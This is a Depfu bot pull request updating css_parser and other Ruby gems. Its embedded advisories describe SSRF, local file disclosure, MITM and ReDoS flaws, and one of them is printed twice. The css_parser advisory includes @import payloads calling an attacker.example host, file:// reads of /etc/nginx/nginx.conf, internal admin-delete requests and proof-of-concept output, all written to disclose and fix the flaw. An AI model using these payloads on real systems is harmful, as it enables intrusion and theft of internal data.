Skip to content

🚨 [security] Update css_parser 1.7.0 → 3.0.0 (major) - #291

Open
depfu[bot] wants to merge 1 commit into
masterfrom
depfu/update/css_parser-3.0.0
Open

🚨 [security] Update css_parser 1.7.0 → 3.0.0 (major)#291
depfu[bot] wants to merge 1 commit into
masterfrom
depfu/update/css_parser-3.0.0

Conversation

@depfu

@depfu depfu Bot commented Jul 9, 2026

Copy link
Copy Markdown
Contributor

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

↗️ css_parser (indirect, 1.7.0 → 3.0.0) · Repo · Changelog

Security Advisories 🚨

🚨 Ruby CSS Parser: SSRF and Local File Disclosure in `CssParser::Parser#read_remote_file`

Summary

CssParser::Parser#read_remote_file (and therefore load_uri!, and the @import-following branch of add_block!) issues HTTP/HTTPS requests against any host, port and URI it is handed, with no scheme allowlist, no host / IP filtering, and no protection against link-local, loopback or RFC‑1918 addresses. Location: redirects are followed recursively back into the same function, which also services file:// URIs, so a single attacker-controlled HTTP redirect upgrades the bug from SSRF to arbitrary local file disclosure.

In practice, any consumer of css_parser that hands it attacker‑influenced CSS together with a base_uri: option — Premailer being the canonical example — is exposed. The attacker only needs the ability to land one @import url(...) in the CSS that the host application parses.

Vulnerable code

lib/css_parser/parser.rb#L613-L687:

def read_remote_file(uri) # :nodoc:
  ...
  begin
    uri = Addressable::URI.parse(uri.to_s)
<span class="pl-k">if</span> <span class="pl-s1">uri</span><span class="pl-kos">.</span><span class="pl-en">scheme</span> == <span class="pl-s">'file'</span>
  <span class="pl-c"># local file</span>
  <span class="pl-s1">path</span> <span class="pl-c1">=</span> <span class="pl-s1">uri</span><span class="pl-kos">.</span><span class="pl-s1">path</span>
  <span class="pl-s1">path</span><span class="pl-kos">.</span><span class="pl-en">gsub!</span><span class="pl-kos">(</span><span class="pl-sr">%r{^/}</span><span class="pl-kos">,</span> <span class="pl-s">''</span><span class="pl-kos">)</span> <span class="pl-k">if</span> <span class="pl-v">Gem</span><span class="pl-kos">.</span><span class="pl-en">win_platform?</span>
  <span class="pl-s1">src</span> <span class="pl-c1">=</span> <span class="pl-v">File</span><span class="pl-kos">.</span><span class="pl-en">read</span><span class="pl-kos">(</span><span class="pl-s1">path</span><span class="pl-kos">,</span> <span class="pl-pds">mode</span>: <span class="pl-s">'rb'</span><span class="pl-kos">)</span>        <span class="pl-c"># &lt;-- arbitrary local read</span>
<span class="pl-k">else</span>
  <span class="pl-c"># remote file</span>
  <span class="pl-k">if</span> <span class="pl-s1">uri</span><span class="pl-kos">.</span><span class="pl-en">scheme</span> == <span class="pl-s">'https'</span>
    <span class="pl-s1">uri</span><span class="pl-kos">.</span><span class="pl-en">port</span> <span class="pl-c1">=</span> <span class="pl-c1">443</span> <span class="pl-k">unless</span> <span class="pl-s1">uri</span><span class="pl-kos">.</span><span class="pl-en">port</span>
    <span class="pl-s1">http</span> <span class="pl-c1">=</span> <span class="pl-v">Net</span>::<span class="pl-c1">HTTP</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">(</span><span class="pl-s1">uri</span><span class="pl-kos">.</span><span class="pl-en">host</span><span class="pl-kos">,</span> <span class="pl-s1">uri</span><span class="pl-kos">.</span><span class="pl-en">port</span><span class="pl-kos">)</span>
    <span class="pl-s1">http</span><span class="pl-kos">.</span><span class="pl-en">use_ssl</span> <span class="pl-c1">=</span> <span class="pl-c1">true</span>
  <span class="pl-k">else</span>
    <span class="pl-s1">http</span> <span class="pl-c1">=</span> <span class="pl-v">Net</span>::<span class="pl-c1">HTTP</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">(</span><span class="pl-s1">uri</span><span class="pl-kos">.</span><span class="pl-en">host</span><span class="pl-kos">,</span> <span class="pl-s1">uri</span><span class="pl-kos">.</span><span class="pl-en">port</span><span class="pl-kos">)</span>  <span class="pl-c"># &lt;-- arbitrary host:port</span>
  <span class="pl-k">end</span>

  <span class="pl-s1">res</span> <span class="pl-c1">=</span> <span class="pl-s1">http</span><span class="pl-kos">.</span><span class="pl-en">get</span><span class="pl-kos">(</span><span class="pl-s1">uri</span><span class="pl-kos">.</span><span class="pl-en">request_uri</span><span class="pl-kos">,</span> ...<span class="pl-kos">)</span>
  ...
  <span class="pl-en">elsif</span> <span class="pl-s1">res</span><span class="pl-kos">.</span><span class="pl-en">code</span><span class="pl-kos">.</span><span class="pl-en">to_i</span> &gt;= <span class="pl-c1">300</span> <span class="pl-k">and</span> <span class="pl-s1">res</span><span class="pl-kos">.</span><span class="pl-en">code</span><span class="pl-kos">.</span><span class="pl-en">to_i</span> &lt; <span class="pl-c1">400</span>
    <span class="pl-k">unless</span> <span class="pl-s1">res</span><span class="pl-kos">[</span><span class="pl-s">'Location'</span><span class="pl-kos">]</span><span class="pl-kos">.</span><span class="pl-en">nil?</span>
      <span class="pl-k">return</span> <span class="pl-en">read_remote_file</span> <span class="pl-v">Addressable</span>::<span class="pl-c1">URI</span><span class="pl-kos">.</span><span class="pl-en">parse</span><span class="pl-kos">(</span>...<span class="pl-kos">)</span>  <span class="pl-c"># &lt;-- cross-scheme redirect</span>
    <span class="pl-k">end</span>
  <span class="pl-k">end</span>
...</pre></div>

There is no validation of uri.host, uri.scheme, or the resolved IP address — neither before the HTTP request, nor before the recursive call on the Location header.

The user-facing entry points that reach this sink are:

  • Parser#load_uri! — directly calls read_remote_file (line 513).
  • Parser#add_block! — when invoked with base_uri: and the default import: true, scans the CSS for @import url(...) rules and resolves each one through load_uri! (line 150).

Threat model and scope

Capability Reachable? Notes
Arbitrary outbound http:// / https:// GET to any host:port reachable from the server ✅ No host, IP, port or scheme allowlist. Works against loopback, RFC‑1918, link‑local (169.254/16, AWS / GCP / Azure IMDS), and Docker / k8s service IPs.
Recovering the response body ✅ (conditional) The body is fed back into add_block!. Any bytes that form selector { decl } round‑trip out via Parser#each_selector / to_s. A consumer that emits the parsed CSS (e.g. Premailer inlining into HTML) leaks the body to the original attacker.
Local file read via cross-scheme redirect (Location: file://...) ⚠️ partial Redirect is followed without checking the new scheme; the recursive call services file:// with File.read. The read itself executes against any path the Ruby process can open. Content recovery via the parser API is constrained by CSS grammar — see "File-disclosure scope" below.
File-existence oracle âś… With default io_exceptions: true, missing paths raise CssParser::RemoteFileError and existing paths return silently. An attacker can iterate file:// targets to enumerate filesystem layout, usernames, installed software, etc.
Side-effecting GETs against unprotected internal admin endpoints ✅ Even with a non‑CSS response, the request still fires. Internal services that act on GET (legacy admin panels, debug endpoints, cache busters, queue triggers) execute.
Forced gzip / deflate decompression (DoS / decompression bomb) âś… Accept-Encoding: gzip is hardcoded (line 650) and the body is decompressed with Zlib::GzipReader / Zlib::Inflate (lines 665-672). An attacker server can return a small gzipped payload that decompresses to multiple GB.
HTTPS internal targets with self-signed / private CA certs ⚠️ Net::HTTP#use_ssl = true defaults to VERIFY_PEER, so internal HTTPS hosts with private certs will fail the SSL handshake. Plain HTTP, and HTTPS hosts whose certs chain to a CA trusted by the process, are fully exploitable.
Smuggling other TCP protocols (Redis, Memcached, etc.) via the HTTP client ⚠️ Net::HTTP writes a real HTTP request line, so Redis / Memcached won't accept it. The TCP connect itself does occur, which can still trigger logs, port-scan effects, and connection-state side effects in firewalled environments.

File-disclosure scope (cross-scheme redirect leg)

The file:// branch of read_remote_file does an unconditional File.read, but the contents are then handed back to add_block! and fed through the CSS tokenizer (parse_block_into_rule_sets!). Only content that fits the grammar at the lexer level survives:

  • Selector slot — any text accumulated before the next { becomes the selector for that rule (including text spanning multiple lines).
  • Declarations slot — only prop: value; pairs inside { ... } are retained. The Declarations parser splits on ;, requires :, and drops anything else (rule_set.rb#L655-L681).
  • A rule is only added when the raw declarations string between { and } is non-empty (parser.rb#L396).

Empirical results against vulnerable 2.2.0 with Location: file://<path>:

File contents Recoverable through to_s / each_selector?
root:x:0:0:root:/root:/bin/bash\napi_key=… (no braces) nothing
{"AccessKeyId":"AKIA…","Secret":"wJalr…"} (JSON, leading {) nothing via to_s; partial leak via each_rule_set (empty selector + one parsed declaration)
SECRET=eyJhbGc… {} (empty braces) nothing (rule not added — raw decls empty)
api_key=…\ndatabase{host:db.internal;pw:hunter2;} full leak: selector = api_key=… database, decls = host: db.internal; pw: hunter2
nginx / HCL-style config: name { key: value; } full leak of both slots

In practice this means high-value targets that aren't CSS-shaped — TLS keys, SSH keys, JWTs, .env files (KEY=VALUE lines), /etc/passwd, binary content — do not leak their bytes through the parser API. Configuration files written in block-style DSLs (nginx, HCL/Terraform, Caddy, etc.) leak heavily. The File.read itself always executes, which is enough to (a) act as a file-existence oracle and (b) cause resource exhaustion on large pseudo-files like /dev/zero.

The stronger recovery channel is the SSRF leg, not file disclosure: when the response comes from an internal HTTP service, Premailer-style consumers serialize the parsed CSS back into rendered HTML/email output, and any CSS-shaped bytes in the response surface there.

Is it "blind"?

It is not a classic blind SSRF. The bug has two recovery channels:

  1. Application output. The library is most commonly driven by Premailer, which writes the parsed CSS back into the rendered HTML. Any response bytes that happen to form CSS rules are emitted into the output document and therefore visible to whoever receives the rendered output. Internal endpoints frequently return content that parses as CSS by accident — anywhere { ... } appears (JSON objects sit just inside that envelope; many config-dump endpoints look the same) the contents become exfiltratable rules.
  2. Side effects on the destination. Because the request actually leaves the server, an attacker who controls the destination URL sees the request unconditionally (URL, headers, source IP, user-agent from @options[:user_agent]). And when the destination is an internal service the attacker does not control, the GET is nonetheless executed against that service.

Reproduction

A minimal, self-contained reproducer is attached as poc.rb. It spins up two local WEBrick servers (a fake "internal" service on 127.0.0.1:18080 and an attacker-controlled redirector on 127.0.0.1:18081) and runs four scenarios against css_parser 2.2.0.

$ gem install css_parser -v 2.2.0
$ gem install webrick     # not bundled with Ruby >= 3.0
$ ruby poc.rb

Actual output

========================================================================
POC 1 — SSRF: force a GET to an internal-only HTTP endpoint and
         recover the response body via the parser API
========================================================================
Attacker-supplied CSS:
  @import url("http://127.0.0.1:18080/admin-credentials");
Internal endpoint hit count: 1  (should be >= 1)
Rules parsed from the internal response:
  .creds { content: "AKIAFAKEINTERNALONLY:wJalrXUtnFEMIFAKESECRET"; }

========================================================================
POC 2 — Cross-scheme redirect: HTTP 302 → file:// → local file read

Local secret file: /tmp/css_parser_nginx.conf
Attacker-supplied CSS:
@import url("http://127.0.0.1:18081/to-local-file");
Rules parsed from the redirect target (a local file):
server { listen: 443; server_name: internal.example.com;
ssl_certificate_key: /etc/nginx/ssl/SECRET_PRIVATE_KEY.pem;
proxy_pass: http://10.0.0.42:8080; }

========================================================================
POC 3 — Direct load_uri! also affected

parser.load_uri!('http://127.0.0.1:18080/admin-credentials')
.creds { content: "AKIAFAKEINTERNALONLY:wJalrXUtnFEMIFAKESECRET"; }

========================================================================
POC 4 — Pure SSRF side-effect (works even when the response is not CSS-shaped)

Attacker-supplied CSS:
@import url("http://127.0.0.1:18080/admin/delete-user?id=42");
Internal side-effect endpoint reached? true
Request observed by internal service: "/admin/delete-user?id=42"

Minimal one-line triggers

The smallest possible attacker payload is a single @import rule. The following three examples are ordered from "highest practical impact" to "least", because the parser's data-recovery surface depends on the shape of the response (see the "File-disclosure scope" table above):

1. Internal block-DSL config via cross-scheme redirect → file:// — nginx, HCL/Terraform, Caddy, BIND, etc. all use name { key value; } block syntax, which round-trips cleanly out of the css_parser API. An attacker who controls attacker.example redirects to the local file:

/* attacker.css */
@import url("https://attacker.example/r");
GET https://attacker.example/r
→ 302 Location: file:///etc/nginx/nginx.conf

Result: the full server { listen 443 ssl; ssl_certificate_key …; … } block is parsed into selectors and declarations and surfaces via parser.to_s, which Premailer-style consumers re-emit into rendered output.

2. Side-effecting internal admin GET — even when the response is not CSS-shaped, the request still executes against the internal service:

@import url("http://internal-admin.local/api/v1/users/42?action=delete");

No data exfiltration is required for this to be a vulnerability: the attacker has achieved an authenticated-from-localhost GET against an internal control-plane endpoint.

3. Internal HTTP service whose body happens to be CSS-shaped — a status / debug page or a config endpoint that emits block { key: value; } text. Same recovery profile as case (1).

@import url("http://internal-svc.local/debug/config");

All three payloads are parsed via:

require 'css_parser'
parser = CssParser::Parser.new
parser.add_block!(File.read('attacker.css'), base_uri: 'http://attacker.example/')

base_uri: is the only required option — it is what enables the @import-following code path (parser.rb:147-150). Premailer always sets base_uri: when given an HTML document that has a URL, so every Premailer pipeline that processes attacker-influenced HTML/CSS reaches this sink.

Note on the EC2 IMDS / 169.254.169.254 example often associated with SSRF write-ups: @import url("http://169.254.169.254/latest/meta-data/iam/security-credentials/") does fire the request, but the role-list response is plain text with no { characters and is therefore discarded by the CSS tokenizer — nothing surfaces via parser.to_s or each_selector. The per-role credentials JSON endpoint partially leaks the body as a single declaration value, but only via each_rule_set / each_declaration, which Premailer does not expose to its output. IMDSv2 is not exploitable at all (no PUT support, no header injection). The bug is still serious — just not via the IMDS path the way an XHR/curl-based SSRF would be.

Standalone file:// via load_uri! (no HTTP redirect needed)

Independent of the SSRF / redirect chain above, Parser#load_uri! itself executes File.read against any file:// URI it is handed, and Parser#add_block!(css, base_uri: 'file:///some/dir/') resolves @import against that base. Any application that hands an attacker-influenced URI (or an @import URL with an attacker-influenced base) to either method has a local file read primitive — no HTTP, no redirect, no ssrf_filter-bypass technique required.

require 'css_parser'
parser = CssParser::Parser.new
parser.load_uri!('file:///etc/nginx/nginx.conf')  # direct File.read

…or via a CSS-driven path with an attacker-controlled @import:

parser = CssParser::Parser.new
parser.add_block!(File.read('attacker.css'), base_uri: 'file:///etc/')
# attacker.css contains: @import url("nginx/nginx.conf");

The recoverable-content rules in the "File-disclosure scope" subsection above apply identically here — the bytes flow through the same add_block! tokenizer regardless of whether they arrived via redirect or directly. Applications that don't accept HTTP URLs from users but do construct file:// URIs from any user-supplied component are exposed.

This is a separate weakness (CWE-73) from the SSRF leg (CWE-918) and is gated by its own opt-in flag in 3.0.0 (see "Fix as shipped in 3.0.0" below).

Suggested remediation

  1. Reject non-http(s) schemes in read_remote_file. Before the recursive redirect call at line 661 and at the top of read_remote_file, require uri.scheme.in?(%w[http https]). The file:// branch at lines 635-639 should be removed from read_remote_file entirely — local files are already handled by load_file!, so keeping a file:// branch in the remote read path serves no purpose other than enabling this redirect bypass.
  2. Validate the resolved address against private / link-local / loopback ranges, behind an opt-in option (e.g. allow_local_uris: false). At minimum, resolve uri.host and reject results in 127.0.0.0/8, 10/8, 172.16/12, 192.168/16, 169.254/16, ::1, fc00::/7, fe80::/10, and unspecified addresses. The check must be done after DNS resolution and re-checked on every redirect hop, otherwise DNS rebinding and CNAME redirection trivially bypass it.
  3. Re-validate every redirect hop. The recursive call at line 661 currently inherits no validation. Apply the same scheme / host / address checks as step 1-2 before recursing.
  4. Bound the response size read from http.get and decompressed at lines 665-672, to mitigate decompression bombs.
  5. Document the security posture. load_uri! / add_block! with base_uri: should be documented as security-sensitive, with a clear recommendation that any caller exposing them to untrusted CSS use the allowlist option above.

Many of these issues could be generally remediated by replacing the network logic with the ssrf_filter gem.

Fix as shipped in 3.0.0

The remediation lands as two structural changes plus two new independent opt-in flags. The structural changes apply unconditionally; the flags let callers re-enable specific subsets of the old behaviour where they have a legitimate need.

Structural changes (always on, no opt-out)

  • Outbound HTTP goes through ssrf_filter by default. ssrf_filter resolves the hostname with Resolv, rejects unsafe IP ranges (loopback, RFC-1918, link-local, multicast, IPv6 ULAs, cloud metadata), enforces a scheme_whitelist of %w[http https], and re-validates scheme and IP on every redirect hop. CNAME-to-private-IP and other DNS-rebinding-style bypasses are defeated by the resolved-IP check.
  • file:// is no longer reachable from the remote-fetch path at all. The file:// handling was moved out of read_remote_file entirely into load_uri!, so a 3xx Location: file://... response cannot be followed regardless of how the parser is configured.
  • Accept-Encoding: gzip is no longer requested by the remote-fetch path, removing the decompression-bomb surface that was called out as a separate mitigation item.

New Parser options

Two independent off-by-default flags, mapping 1:1 to the two CWE classes:

Option Default Gates Threat class
allow_local_network false http(s) requests resolving to loopback / RFC-1918 / link-local / IMDS addresses CWE-918 (SSRF)
allow_file_uris false file:// URIs via load_uri! (and @import resolved against file:// base_uri) CWE-73 (LFI)

Each flag is independent: setting allow_local_network: true does not permit file://, and allow_file_uris: true does not permit loopback HTTP. Callers grant exactly the threat surface they need open and nothing more.

load_file! — the explicit local-file API that takes a path (not a URI) — is unaffected by either flag, because the path comes from the caller's own code, not from a user-influenced URI.

Upgrade notes

  • Premailer / email-rendering / link-preview pipelines: no code changes required. The default-secure 3.0.0 configuration is exactly what you want — the same Parser.new instantiation now refuses SSRF and LFI attempts.
  • Test suites that fetch from localhost or a loopback fixture server: pass allow_local_network: true on the relevant Parser.new calls.
  • Code that deliberately calls parser.load_uri!('file://...') or sets base_uri: 'file://...': pass allow_file_uris: true. Where possible, prefer migrating to parser.load_file!(path) instead — it's the explicit local-file API and is not subject to the URI gate.
  • Code that uses both (e.g. integration tests against a local HTTP fixture and file:// fixtures): pass both, Parser.new(allow_local_network: true, allow_file_uris: true).

The fix landed across these commits: ba74c3c (failing tests), 7d2ddf0 (implementation), e0a1514 (defensive invariant guards), all merged.

Credit

This vulnerability was reported by @JLLeitschuh of the @braze-inc security team. This vulnerability was originally discovered by the pentesters at @nccgroup.

🚨 CSS Parser: Improper Certificate Validation allows MITM injection of remote CSS content

Summary

The CSS Parser gem does not validate HTTPS connections, allowing a Man-in-the-Middle (MITM) attacker to inject or modify CSS content when stylesheets are loaded via HTTPS. The connection is established with OpenSSL::SSL::VERIFY_NONE, meaning any HTTPS certificate—even entirely untrusted—will be accepted without validation.

Details

In lib/css_parser/parser.rb, the HTTP client sets:

    <tbody>
http.verify_mode = OpenSSL::SSL::VERIFY_NONE

http.verify_mode = OpenSSL::SSL::VERIFY_NONE

As a result, the library does not validate the authenticity of HTTPS connections and does not protect against man-in-the-middle attacks. Any attacker in a position to intercept network traffic can inject or modify CSS loaded via HTTPS URLs without detection or warning.

PoC

  1. Set up a test Ruby project that uses the CSS Parser gem and loads an external stylesheet over HTTPS.
  2. Use a local proxy (such as mitmproxy or Burp Suite) to intercept outgoing HTTPS requests.
  3. Present a fake self-signed certificate to the client.
  4. Inject custom CSS into the intercepted HTTPS response.

The request will succeed and the injected CSS will be delivered to the application, as the connection is not validated.

References

#185

Impact

Applications using CSS Parser to load remote stylesheets over HTTPS are vulnerable to CSS injection and content manipulation, regardless of the trust status of the remote server. All users who use CSS Parser to fetch external CSS over HTTPS may be impacted.

Credit

This vulnerability was uncovered by @JLLeitschuh of the @braze-inc security team.

🚨 CSS Parser: Improper Certificate Validation allows MITM injection of remote CSS content

Summary

The CSS Parser gem does not validate HTTPS connections, allowing a Man-in-the-Middle (MITM) attacker to inject or modify CSS content when stylesheets are loaded via HTTPS. The connection is established with OpenSSL::SSL::VERIFY_NONE, meaning any HTTPS certificate—even entirely untrusted—will be accepted without validation.

Details

In lib/css_parser/parser.rb, the HTTP client sets:

    <tbody>
http.verify_mode = OpenSSL::SSL::VERIFY_NONE

http.verify_mode = OpenSSL::SSL::VERIFY_NONE

As a result, the library does not validate the authenticity of HTTPS connections and does not protect against man-in-the-middle attacks. Any attacker in a position to intercept network traffic can inject or modify CSS loaded via HTTPS URLs without detection or warning.

PoC

  1. Set up a test Ruby project that uses the CSS Parser gem and loads an external stylesheet over HTTPS.
  2. Use a local proxy (such as mitmproxy or Burp Suite) to intercept outgoing HTTPS requests.
  3. Present a fake self-signed certificate to the client.
  4. Inject custom CSS into the intercepted HTTPS response.

The request will succeed and the injected CSS will be delivered to the application, as the connection is not validated.

References

#185

Impact

Applications using CSS Parser to load remote stylesheets over HTTPS are vulnerable to CSS injection and content manipulation, regardless of the trust status of the remote server. All users who use CSS Parser to fetch external CSS over HTTPS may be impacted.

Credit

This vulnerability was uncovered by @JLLeitschuh of the @braze-inc security team.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

✳️ prawn-svg (0.29.1 → 0.40.3) · Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ addressable (indirect, 2.6.0 → 2.9.0) · Repo · Changelog

Security Advisories 🚨

🚨 Addressable has a Regular Expression Denial of Service in Addressable templates

Impact

Within the URI template implementation in Addressable, two classes of URI template generate regular expressions vulnerable to catastrophic backtracking:

  1. Templates using the * (explode) modifier with any expansion operator (e.g., {foo*}, {+var*}, {#var*}, {/var*}, {.var*}, {;var*}, {?var*}, {&var*}) generate patterns with nested unbounded quantifiers that are O(2^n) when matched against a maliciously crafted URI.
  2. Templates using multiple variables with the + or # operators (e.g., {+v1,v2,v3}) generate patterns with O(n^k) complexity due to the comma separator being within the matched character class, causing ambiguous backtracking across k variables.

When matched against a maliciously crafted URI, this can result in catastrophic backtracking and uncontrolled resource consumption, leading to denial of service. The first pattern was partially addressed in 2.8.10 for certain operator combinations. Both patterns are fully remediated in 2.9.0.

Users of the URI parsing capabilities in Addressable but not the URI template matching capabilities are unaffected.

Affected Versions

This vulnerability affects Addressable >= 2.3.0 (note: 2.3.0 and 2.3.1 were yanked; the earliest installable release is 2.3.2). It was partially fixed in version 2.8.10 and fully remediated in 2.9.0.

The vulnerability is more exploitable on MRI Ruby < 3.2 and on all versions of JRuby and TruffleRuby. MRI Ruby 3.2 and later ship with Onigmo 6.9, which introduces memoization that prevents catastrophic backtracking for the first class of template. JRuby and TruffleRuby do not implement equivalent memoization and remain vulnerable to all patterns.

This has been confirmed on the following runtimes:

Runtime Status
MRI Ruby 2.6 Vulnerable
MRI Ruby 2.7 Vulnerable
MRI Ruby 3.0 Vulnerable
MRI Ruby 3.1 Vulnerable
MRI Ruby 3.2 Partially vulnerable
MRI Ruby 3.3 Partially vulnerable
MRI Ruby 3.4 Partially vulnerable
MRI Ruby 4.0 Partially vulnerable
JRuby 10.0 Vulnerable
TruffleRuby 21.2 Vulnerable

Workarounds

  • Upgrade to MRI Ruby 3.2 or later, if your application does not use JRuby or TruffleRuby. The Onigmo memoization introduced in MRI Ruby 3.2 prevents catastrophic backtracking from nested unbounded quantifiers (pattern 1 above — templates using the * modifier). It does not reliably mitigate the O(n^k) multi-variable case (pattern 2), so upgrading Ruby alone may not be sufficient if your templates use {+v1,v2,...} or {#v1,v2,...} syntax.

  • Avoid using vulnerable template patterns when matching user-supplied input on unpatched versions of the library:

    • Templates using the * (explode) modifier: {foo*}, {+var*}, {#var*}, {.var*}, {/var*}, {;var*}, {?var*}, {&var*}
    • Templates using multiple variables with the + or # operators: {+v1,v2}, {#v1,v2,v3}, etc.
  • Apply a short timeout around any call to Template#match or Template#extract that processes user-supplied data.

References

Credits

Discovered in collaboration with @jamfish.

For more information

If you have any questions or comments about this advisory:

🚨 Regular Expression Denial of Service in Addressable templates

Impact

Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected.

Patches

The vulnerability was introduced in version 2.3.0 (previously yanked) and has been present in all subsequent versions up to, and including, 2.7.0. It is fixed in version 2.8.0.

Workarounds

The vulnerability can be avoided by only creating Template objects from trusted sources that have been validated not to produce catastrophic backtracking.

References

For more information

If you have any questions or comments about this advisory:

Release Notes

Too many releases to show here. View the full release notes.

↗️ pdf-core (indirect, 0.7.0 → 0.10.0) · Repo · Changelog

Release Notes

0.9.0 (from changelog)

Changed

  • Increased precision of real numbers to 5 Alexander Mankuta
  • Dropped 2.3 & 2.4 Ruby support Alexander Mankuta
  • Updated code style Alexander Mankuta

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ prawn (indirect, 2.2.2 → 2.5.0) · Repo · Changelog

Release Notes

2.4.0 (from changelog)

Added support for Ruby 3

(Alexander Mankuta)

Fixed transformation matrix serialization

(Alexander Mankuta, #1182)

2.3.0

This is release includes one new exiting feature: OTF fonts support. You can use them exactly as you'd use TTF fonts. Thanks for this to @camertron.

Another notable change is the list of supported Rubies. Since last release a few new versions came out and a few reached their EOL.

Other than that a number of bugs have been fixed. See Changelog for the details.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ public_suffix (indirect, 3.0.3 → 7.0.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ ttfunk (indirect, 1.5.1 → 1.8.0) · Repo · Changelog

Release Notes

1.7.0 (from changelog)

Changes

  • Allow gem installation on Ruby 3.0

    Pavel Lobashov

  • Allow TTC files to be read from IO object

    Tom de Grunt

1.6.2.1 (from changelog)

Fixed

  • 1.6.2 gem conains local debuging code. This is the same commit but without local changes.

    Alexander Mankuta

1.6.2 (from changelog)

Fixed

  • Reverted to pre 1.6 maxp table serialization.

    Cameron Dutro

1.6.1 (from changelog)

Fixed

  • Fixed maxp table encoding

    Cameron Dutro

1.6.0 (from changelog)

Added

  • OpenType fonts support

    • Added support for CFF-flavored fonts (also known as CID-keyed or OpenType fonts)
    • Added support for the VORG and DSIG tables
    • Improved charset encoding support
    • Improved font metrics calculations in the head, maxp, hhea, hmtx, and os/2 tables
    • Subsetted fonts verified with Font-Validator, fontlint, and Mac OS's Font Book

    Cameron Dutro

  • Ruby 2.6 support

    Alexander Mankuta

  • JRuby 9.2 support

    Alexander Mankuta

Removed

  • Dropped Ruby 2.1 & 2.2 support

    Alexander Mankuta

  • Removed JRuby 9.1 support

    Alexander Mankuta

Fixed

  • Sort name table entries when generating subset font

    Matjaz Gregoric

  • Map the 0xFFFF char code to glyph 0 in cmap format 4

    Matjaz Gregoric

  • Order tables by tag when generating font subset

    Matjaz Gregoric

  • Fix typo in TTFunk::Subset::Unicode#includes?

    Matjaz Gregoric

  • Fixe calculation of search_range for font subsets

    Matjaz Gregoric

  • Fixed instance variable @offset and @Length not initialized

    Katsuya HIDAKA

  • Code style fixes

    Katsuya HIDAKA, Matjaz Gregoric, Alexander Mankuta

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 bigdecimal (added, 3.3.1)

🆕 matrix (added, 0.4.3)

🆕 rexml (added, 3.4.4)

🆕 ssrf_filter (added, 1.5.0)


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu Bot added the depfu label Jul 9, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants